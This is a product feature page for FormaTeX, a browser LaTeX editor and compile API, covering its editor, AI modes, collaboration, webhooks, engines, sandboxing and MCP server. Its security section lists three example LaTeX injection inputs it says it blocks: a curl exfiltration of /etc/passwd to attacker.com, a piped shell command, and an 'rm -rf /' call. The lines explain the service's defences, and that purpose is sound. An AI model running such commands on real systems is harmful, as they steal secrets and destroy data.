\features{FormaTeX}
Browser editor, AI assistant, real-time collaboration, REST API, four LaTeX engines, MCP integration — every feature built for developers and writers who need LaTeX without the infrastructure work.
\section{Platform}
\feature{editor}
A full IDE. In the browser. No installation.
FormaTeX ships a complete LaTeX development environment that runs entirely in the browser. CodeMirror 6 with LaTeX syntax highlighting, a resizable split-pane PDF preview, a project file explorer, outline panel, symbols list, minimap, and a full compilation log with parsed error list. Upload images, .bib files, and custom class files. Autosave triggers every 1500ms — closing the tab loses nothing.
\begin{preview}
Explorer
PDF Preview
\subsection{Key capabilities}
\feature{ai}
Fix, explain, generate, and chat — with full project context.
Four AI modes built into the editor. Fix analyzes your error log and produces corrected LaTeX. Explain translates compiler errors into plain English. Generate writes LaTeX from a plain-text prompt. Chat gives you a conversational assistant with access to every file in your project. The AI sees your actual source — not a snippet you paste in.
\begin{preview}
! Error on line 47
Undefined control sequence \mathrm
Add \usepackage{amsmath} to your preamble. \mathrm is defined there.
+ \usepackage{amsmath}
\subsection{Key capabilities}
\feature{collaboration}
Multiple people. One document. Live.
WebSocket-based real-time collaboration shipped in February 2026. Invite collaborators by email, assign Editor or Viewer roles, and see live presence indicators with colored avatars derived deterministically from each user's UUID. Viewers are restricted server-side — they cannot broadcast edit events regardless of client state. Opening the same project in two tabs evicts the older connection automatically.
\begin{preview}
\subsection{Key capabilities}
\feature{projects}
Persistent multi-file workspaces with full edit history.
Projects are named, color-coded workspaces that persist all your files server-side. Create a project once, add .tex source, .bib references, images, and custom class files — all available across sessions and compilations. Every save and deletion is recorded as a snapshot in File History: a git-log-style timeline showing what changed, when, and who made each edit.
\begin{preview}
Projects
IEEE Paper 2026
PhD Thesis — Ch.4
CV / Resume
3 of 5 projects · Free plan
File History
IEEE Paper 2026
Today · 3 changes
sections/intro.tex
refs.bib
fig1.png
\subsection{Key capabilities}
\feature{templates}
Send JSON. Get PDF. No LaTeX knowledge required.
Define a LaTeX document once as a template, mark dynamic values with {{variable}} placeholders, and expose a compile endpoint that accepts plain JSON. Your callers never touch LaTeX — they POST a JSON object with variable values and receive a PDF. Templates support uploaded assets (logos, .bib, .cls files), forking for new variants, and are callable with any API key.
\begin{preview}
Variables
\subsection{Key capabilities}
\feature{webhooks}
Your server gets notified the moment a job completes.
Register a URL and subscribe to compilation, quota, and plan events. FormaTeX delivers a signed POST to your endpoint on every event. Every delivery is HMAC-SHA256 signed with your webhook secret — verify the X-FormaTeX-Signature header before processing. Failed deliveries are automatically retried up to 5 times with exponential backoff. The dashboard shows per-webhook success rates, full delivery history with attempt numbers, and a test-fire button.
\begin{preview}
\subsection{Key capabilities}
\feature{github}
Push your project to GitHub. Pull from any repo.
Link any FormaTeX project to a GitHub repository and keep them in sync. Push your LaTeX source, .bib files, and assets to a branch with one click — or trigger a push automatically after every successful compilation. Pull changes from GitHub to restore a previous version or onboard a new collaborator's fork. Works with public and private repositories. Available on Max and Enterprise plans.
\begin{preview}
\subsection{Key capabilities}
\feature{overleaf-import}
Bring your existing projects over in one click.
Already on Overleaf? Export your project as a zip (Menu → Download → Source) and drop it into FormaTeX. Your full file tree — .tex source, .bib references, images, custom class files, subdirectories — is extracted, scanned, and saved as a new project automatically. The root .tex file is detected and opened immediately. No manual file copying, no reformatting, no friction.
\begin{example}
# 1. Export from Overleaf
# Menu → Download → Source → my-thesis.zip
# 2. Import via the Projects dashboard
# Click "Import from Overleaf" → drop the zip → done
# 3. Or use the API directly
curl -X POST https://api.formatex.io/api/v1/users/me/projects/import \
-H "Authorization: Bearer <jwt>" \
-F "file=@my-thesis.zip"
# Response
{
"project": {
"id": "proj_7f2a...",
"name": "my-thesis",
"color": "amber"
},
"main_file": "main.tex"
}\subsection{Key capabilities}
\section{API & Compilation}
\feature{rest-api}
Send LaTeX. Get PDF. One endpoint.
The entire FormaTeX compilation surface is a single POST endpoint. No SDK required, no authentication ceremony. Send JSON containing your LaTeX source and engine preference, receive a binary PDF in the response body. Every response includes compilation timing, engine used, and your remaining quota in the headers. Works identically from curl, JavaScript, Python, Go, or any HTTP client.
\begin{example}
curl -X POST https://api.formatex.io/api/v1/compile \
-H "X-API-Key: fex_a8k2mP9..." \
-H "Content-Type: application/json" \
-d '{
"latex": "\\documentclass{article}\\begin{document}Hello\\end{document}",
"engine": "pdflatex"
}' \
--output document.pdf
# Response headers:
# HTTP/1.1 200 OK
# Content-Type: application/pdf
# X-Engine: pdflatex
# X-Compile-Duration-Ms: 94
# X-Compilations-Used: 42
# X-Compilations-Limit: 500\subsection{Key capabilities}
\feature{engines}
The right tool for every document type.
pdfLaTeX for maximum speed and package compatibility. XeLaTeX for system fonts (TTF/OTF) and Unicode. LuaLaTeX for Lua scripting and programmatic content generation. latexmk for automatic multi-pass compilation — bibliography, TOC, cross-references, all resolved in a single request. Select per-request with a single JSON parameter. All engines run the same pinned TeX Live 2024 distribution.
\begin{preview}
Standard. Fastest. Best compatibility.
DVI → PDF · Type 1 fonts · Widest package support
System fonts. Unicode natively.
TTF / OTF · Right-to-left text · OpenType features
Full Lua scripting inside LaTeX.
Programmatic content · Most powerful · Slowest
Auto multi-pass. Resolves everything.
Bibliography · TOC · Cross-references · Auto-retry
\subsection{Key capabilities}
\subsection{Deep dive}
Engine deep-dives\feature{async}
Blocking, background, live-streamed, or intelligent. Pick your mode.
Four compilation modes for every use case. Sync returns the PDF immediately in the response — zero setup. Async enqueues the job and returns a job ID in under 10ms — no connection held open, ideal for batch pipelines. Stream delivers log output line-by-line via SSE as the engine runs — perfect for live progress UIs. Smart compile reads your document preamble, selects the right engine automatically, and retries on transient failure.
\begin{preview}
sync
Blocking · PDF in response
PDF returned in response body — one round-trip
async
Non-blocking · Poll for result
Connection released instantly — poll when ready
stream
SSE · Live log output
[1/1] pdflatex -no-shell-escape main.tex
This is pdfTeX, Version 3.141592653
Output written on main.pdf (12 pages)
Compiled in 312ms ✓
Build a real-time terminal in your UI
smart
Auto-detect · Retry on failure
Preamble analysis
\documentclass{article}→pdflatex\usepackage[fontspec]{...}→xelatex\directlua{...}→lualatexNo engine config needed — just send your LaTeX
\subsection{Key capabilities}
\feature{security}
LaTeX is powerful and dangerous. We contain it.
Every compilation runs in an isolated execution context with -no-shell-escape enforced, restricted file I/O (openout_any=p, openin_any=p), and no outbound network access. Input sanitization blocks 18+ known attack vectors before the engine starts. LaTeX source is never written to logs. Compilation files are deleted from disk immediately after processing. Project files you choose to save are stored securely in your account.
\begin{example}
// These inputs are rejected before the engine starts:
// \write18{curl attacker.com/exfil?data=$(cat /etc/passwd)}
// \input{|"id > /tmp/pwned.txt"}
// \directlua{os.execute("rm -rf /")}
// Valid input compiles normally:
POST /api/v1/compile
{
"latex": "\\documentclass{article}\\begin{document}Safe.\\end{document}",
"engine": "pdflatex"
}
// HTTP/1.1 200 OK
// X-Compile-Duration-Ms: 88
// [source deleted from disk immediately]\subsection{Key capabilities}
\subsection{Deep dive}
Full security model\section{Integrations}
\feature{mcp}
Your AI agent compiles LaTeX natively.
FormaTeX ships a first-class MCP server. Add it to Claude Code, Cursor, Windsurf, or any MCP-compatible client and your AI gains direct access to a full LaTeX compilation stack. Compile documents, fill templates with variables, validate syntax, or list available engines — all from within an AI conversation. No terminal switching, no file copying, no context breaks.
\begin{example}
// claude_desktop_config.json (or .claude/claude_code_config.json)
{
"mcpServers": {
"formatex": {
"command": "formatex-mcp",
"env": {
"FORMATEX_API_KEY": "fex_a8k2mP9..."
}
}
}
}
// Claude can now:
// "Compile this document with XeLaTeX and show me the PDF"
// "Fill the invoice template for Acme Corp, $12,500 due March 15"
// "Check my LaTeX for syntax errors before I compile"
// "Which engines are available on my plan?"\subsection{Key capabilities}
\subsection{Deep dive}
MCP setup guide\listfeatures{all}
\begin{document}
Editor, API, AI, and collaboration on every plan.
No credit card required. Start in 30 seconds.
One quick thing
We track anonymous usage — page views, feature usage, compilation events — to understand what works and what doesn't. No ads, no personal data, no third-party sharing.